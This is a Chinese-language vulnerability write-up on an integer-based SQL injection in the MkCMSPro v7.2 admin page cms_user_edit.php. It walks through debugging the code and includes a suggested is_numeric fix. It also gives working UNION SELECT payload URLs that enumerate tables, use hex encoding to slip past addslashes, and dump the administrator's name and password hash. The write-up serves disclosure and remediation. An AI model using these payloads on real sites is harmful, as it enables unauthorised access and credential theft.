下载源码,本地搭设好环境接下来进入正题:
本地环境本版分别为:phpstudy+Apache/2.4.23+php/7.1.9
2、登陆后台,得到该版本为CMSPro-v7.2正式版本
漏洞描述:
MkCMSPro-v7.2正式版后台存在sql注入漏洞
漏洞复现
漏洞页面
http://www.mkcms.com/admin/cms_user_edit.php?id=1
http://www.aikcms.com/admin/page/user/user_edit.php?id=1&XDEBUG_SESSION_START=PHPSTORM
使用phpstorm进行调试
通过调试,发现其中的代码其中的library.php文件对传入的GET、POST、参数都使用addslahes_deep()函数进行处理(传入的参数如果如果是一个数组,就会array_map进行递归检测,如果不是一个数组则使用addslahes()函数进行处理,在addslahes处理下,带有' " \都会被转译为 ' " \),但是可以使用整形注入的方式绕过,因为整型注入不会带入' "。
接着往下调试
这里判断是否post设置了save参数,由于post没有设置save参数,所以这里就直接跳过
接着往下走,这里可以发现,这里的sql语句没有进行校验,导致了整形注入
修复办法:在sql语句之前添加
if(!is_numeric($_GET['id'])){
die('非法的输入: '.$_GET['id']);
}
可以发现,这里的$row已经成功查询到结过
接着往下调试,得到输出的回显位置:(回显位置布置这两个)
页面成功回显
构造sqlpayload测试
http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(table_name)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.tables where table_schema=database()
由于有addslahes()函数检测,所以表明需要使用16禁止进行绕过
http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(column_name)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from information_schema.columns where table_name=0x6d6b636d735f6d616e61676572
http://www.mkcms.com/admin/cms_user_edit.php?id=1 union select 1,2,(group_concat(m_name,0x7e,m_password)),database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from mkcms_manager
成功获取管理员账号和加密密码
使用cmd解密
admin~21232f297a57a5a743894a0e4a801fc3